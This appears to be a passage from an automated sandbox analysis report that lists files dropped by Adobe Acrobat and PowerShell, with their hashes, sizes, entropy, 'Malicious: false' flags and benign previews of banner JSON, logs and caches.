SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJfzdPeUkwRe9:YvXKXRPT5LjIPxGb8Ukee9
MD5:	600EA5AF7D8A9DDDDC954172EDAFF501
SHA1:	91B23F62F647E4074A03C335578027A05FF70FBD
SHA-256:	08F51AACA47685810B5988D91C3850EBC54918C9E13AF3288895E0E91183CB33
SHA-512:	4531488F8E8AE176AD06B133C4BBD2A219B8A86E4011854F0449290EDF400F092E7BDDD7B473D35D90DF491C7141D3EA8CFE5C984D200069030762E7241AD083
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288144931172668
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJfYdPeUkwRe9:YvXKXRPT5LjIPxGg8Ukee9
MD5:	E6B30D34B466A3368D618F9D4D7095BF
SHA1:	1CA50365A073E496FD3D3BC1C08FD2D19D26284D
SHA-256:	6C71781A09C4E55D057B8E374C4CECB6A8956A9D0F92C0A9E0F643C792720394
SHA-512:	292E224B8E8D3B42FFB8E876C64D0455AB664F853A807FC9C7A5F6B3F8FE173EE12A58ADD25963C71B8D22AC37127A4DED2DECDD1A9846D96A33C24F007424B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.274285578922702
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJf+dPeUkwRe9:YvXKXRPT5LjIPxG28Ukee9
MD5:	2F1FEEEB5655F750BFD304695463EB6D
SHA1:	84F77881711D60F2645F9B8E4AC77825F3757DEF
SHA-256:	F5A33843B7AEAE5F65ED88EECF791B09F82BD13199F5199AA6CD7A00CD783432
SHA-512:	3473AED4A4371D07FF7A373DDCF6870FDD9D5F086C52627F3225AFF0EC85BE1484B7B9D0C2051B687D969E223BDC6AAA21D518C0FAEB0A2A056DA963D7222A11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.271773506982802
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJfbPtdPeUkwRe9:YvXKXRPT5LjIPxGDV8Ukee9
MD5:	EAA8490D2C94389097705D7AE3F04264
SHA1:	D6AC31F5412E0FB01BA9FE6AB7705B3F221C941A
SHA-256:	A3419F5E99C4678DC23DCF04385CDE37EEBF912E5E10AB30C02FD2A6887E9951
SHA-512:	EB40163D1111B0C709E85C9CF14495FD0B2EB5FF583FAA818BA917077F2D98165F224AC29B1AEE18292D409B08B25936BF37B10A5F913FEE05D566E5697249F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.26303397316211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJf21rPeUkwRe9:YvXKXRPT5LjIPxG+16Ukee9
MD5:	880EA4A3354382C67D02A0A71B589A00
SHA1:	F54058020AEB9EF0D126A901FC1EF1E47414C7E9
SHA-256:	EEEC3FCE19F989ECEEC1A9DB327C730B743A4D6D9AEDE834C23E5058FE529F47
SHA-512:	7E3D776D8B155917F72ECF6E9D32EF414BD0D55448C3041EBC902D874EDA63FE4240D2F3B6975009F7B0F6D03F64C5662ED5D59EE8E8B1FEF5EC146BA4A5F68F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666226465845048
Encrypted:	false
SSDEEP:	24:Yv6XlT5XIiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSGy:YviXbBgkDMUJUAh8cvMGy
MD5:	D11A201CA8276F262449B911E16C0D6C
SHA1:	FC0F69CAC6E82D9C6BB7FB4CB5BDA27528D8A988
SHA-256:	F7105B98084B35578DC3EDCE0BA6DC1ABF9BF5C156144E16C7A0F4B4D9A585CE
SHA-512:	D93A59B59FB5ADF6867F182D4787CBFC57294FBFD0AB92AAE554E78C7BA0BEC7BF762D829A1F08BAC863C14F13967E3CF45E3A787A4FBE5613C25847D525808C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.239669258846133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJfshHHrPeUkwRe9:YvXKXRPT5LjIPxGUUUkee9
MD5:	2172903C7E471EF3D5F49299B2C068D4
SHA1:	5F5C6681FC18FA72A308CF252D2BC2E9D809E317
SHA-256:	384F13DE45C84E14DD285177BA3DBDDA7351B19CBF120D21E23F4E8484187C6C
SHA-512:	1CB44F3F3DA1C959AB0726B90ADF117B351C47E4BD742806DCAFF845B89DD7A97B751ACB237C3548F546485C3A08246D7A3FB59D54001535E81D50028FBE6956
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.240760056442436
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJTqgFCrPeUkwRe9:YvXKXRPT5LjIPxGTq16Ukee9
MD5:	AE155AF2EDE5EA86043F2F475CB69767
SHA1:	294A958F6857925B60CC37D415F043437FC97575
SHA-256:	02012087C7236BE6AE4439E2E839545B03CAA92EA1A948178A881AF329146A00
SHA-512:	6011BE972900ABF40AB24718F79F2AD46C1624CFBC408EA5F2BAABEAA0FBAA51AD04DB5AF84F9CBEFA22E60610E3F47C03E33995D9410A6CFB8317AC26028DE1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139843955455116
Encrypted:	false
SSDEEP:	48:Y+X2Uuy5SQmSiWSaPSS/SuX+TSB1S/GFSMMcGAS8h/SYW6SRX93S0boSc:ZX2UN59m5WTSWZX+TqZscFfh/fW6o3XG
MD5:	4B3338DFF95AE9F340B882EFBB0D5683
SHA1:	B7255952404281E58F22E50E186350369C863D9F
SHA-256:	F1AD0ED73DD55D13CB05CF035E0A372CAD2A5018EBF461DD3AF920D5D5E8EAE9
SHA-512:	F02ED11AE03E658584C069D289D7C82B8A87FA5F2B688F0C094CEE5401FCFF90B9759E8B28E243DA0D15B3D3400D25F8E39ECEE796C7EFDA02D320E63C641C90
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"75f45c6d364e5da7230fdc545f108ffa","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557993000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"870740e7e710cdc0e86f95b56d034e02","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557993000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e6cedaef3fb5b5232cd96d142c403224","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557993000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"10863e58fb494d4f98213a036223a221","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557992000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6371a8978fcdf3bd95a410b22995bfb5","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557992000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"fe356d9a06db91de6a064fa0424247eb","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3678157405121312
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDulfXKdqEKfS8EKfM1badfF:Tll2GL7msMcKTlS8fcsul0fIdt
MD5:	6DC37F9A7C48D3915BE536C1784A8207
SHA1:	771830EC3C6304F8F53004FB9D60000526EA641A
SHA-256:	1E830D7CC4FBD7C5ADB1E358C88F1CB6CF2D3F112BC6F99F724D00F2496128FE
SHA-512:	8E3E41C22E2DD937BDD091BB5CD072E3B522F26FB85EBAAFD0D71644CA7BDF9FF7A5ED3F1AEF608A53366EADBB296EE4CA98A6C7BF909DDFF4A290655306A824
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8448854925588132
Encrypted:	false
SSDEEP:	24:7+tKZ6bqyKn6ylSTofcNqDulf+KdqEKfS8EKfM1banbqVqLKufx/XYKQvGJF7url:7MQcKTlS8fcsulNfIAqGufl2GL7ms8
MD5:	4A58D24731B9079323D35F2425655731
SHA1:	30EDDAD7DFEBB0C81A82ED701940EC30433ACBBB
SHA-256:	54FF5CB23ECDAB85D689BE2D5F18A7EFDF070DD2D8EAA4CC49E74F245D731722
SHA-512:	FC5063BF2A9DA9A2A8B298252825B4E07F6010C4F2E16D864E2BB8479C5480268D94F18CC64114271A95A12FFA4BA274862FFDC2C19E872E535BE88AE76C6EBE
Malicious:	false
Preview:	.... .c.......o..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgOcDvlUMfkjEwPscEvBaHo9BJYyu:6a6TZ44ADEOcRU2kEwtafK
MD5:	1F6383EB8CC4193A8DD31C6D36616D81
SHA1:	5EC062C545CF9DA02A49880DD7C4C566EFC5CB7F
SHA-256:	E2F52F4F938CA3D90D2B0AC9C89D296B75DB1DA8534B67F0B7A65CB3B363E1CF
SHA-512:	208791F9902E2B2E885081E777923911F4E991B4AC4407EA250E4756F312519BDF943F5EDD23B6A68C50F5B6D04B109E47E2EEC40D0520DFB7CEF0A358807D90
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIe9261.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486646639490294
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCldH:Qw946cPbiOxDlbYnuRK+bo
MD5:	3DA49F32B519F56857B5BA67FD41487C
SHA1:	3C65CC3DDD89FD8E0F579C5987110B9DEA050EB3
SHA-256:	E868A31314DB4B08222DC84117086D31F56262AC304C185BE78D839FCFC2C6B5
SHA-512:	B84103CD673BB45D6FAE83CF5BA5093B3C3B97E615C5F5E22FF0DBA2D50583273B6A4BEB4700968C2A37F4803E678C61E09DD4780D7EBCA70A035A1C5B805B7A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.3.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c4nx20ti.yfe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_idaw4bbn.nuv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-13-05-751.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350074846309491
Encrypted:	false
SSDEEP:	384:0Q2deEo/PgB3oHq/DWNPwrCudEreSWaQWtHzlhVCwlnS+Xug4bllipDaXv416Xfs:hpv45u
MD5:	D86CDB2BB1D0AD61852A8A1D7F13DAE8
SHA1:	A5EFAB6937531AF1BBBD38F7F014E86B34075213
SHA-256:	F50F445E1C015A19EEFF6792BAEFD3BB485393D63EDB724898E4D21A3D7FFE10
SHA-512:	977DF2A072BD42273EB2CDEFF997A9B5A351D91D1DDD6271EB4C0BCD52A8A023D62BE3C28A11062D0EAFB22D13DB1A28A624FEBBDC597BEE9F0C389E0CAB6365
Malicious:	false
Preview:	SessionID=852537d9-7c00-426d-b089-704d4cc11038.1736557985779 Timestamp=2025-01-10T20:13:05:779-0500 ThreadID=3892 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=852537d9-7c00-426d-b089-704d4cc11038.1736557985779 Timestamp=2025-01-10T20:13:05:785-0500 ThreadID=3892 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=852537d9-7c00-426d-b089-704d4cc11038.1736557985779 Timestamp=2025-01-10T20:13:05:785-0500 ThreadID=3892 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=852537d9-7c00-426d-b089-704d4cc11038.1736557985779 Timestamp=2025-01-10T20:13:05:785-0500 ThreadID=3892 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=852537d9-7c00-426d-b089-704d4cc11038.1736557985779 Timestamp=2025-01-10T20:13:05:785-0500 ThreadID=3892 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.378532971609443
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmPgcbpIBbcbh:8qnXopZ50rDgBA
MD5:	B64789B630A1CCBA48EEC1AF9246F877
SHA1:	8A46A57BC69F6E77341FDB280A6707709A815F7E
SHA-256:	EACBF5C972E396BDB30CA79311EFF7E71F490486F54F3804F77A46188EFF6FB8
SHA-512:	5502F7FD25F9C217D1E374F5C23C06A0B1CAF3EB8D1F585D4A31DF7F834D52448C2206346E34435508BA42C3BE949B132D277E8914479032D6C1126487EF9C88
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5c8b4ff9-9f80-46fd-afc1-6b7b23a6dbc8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
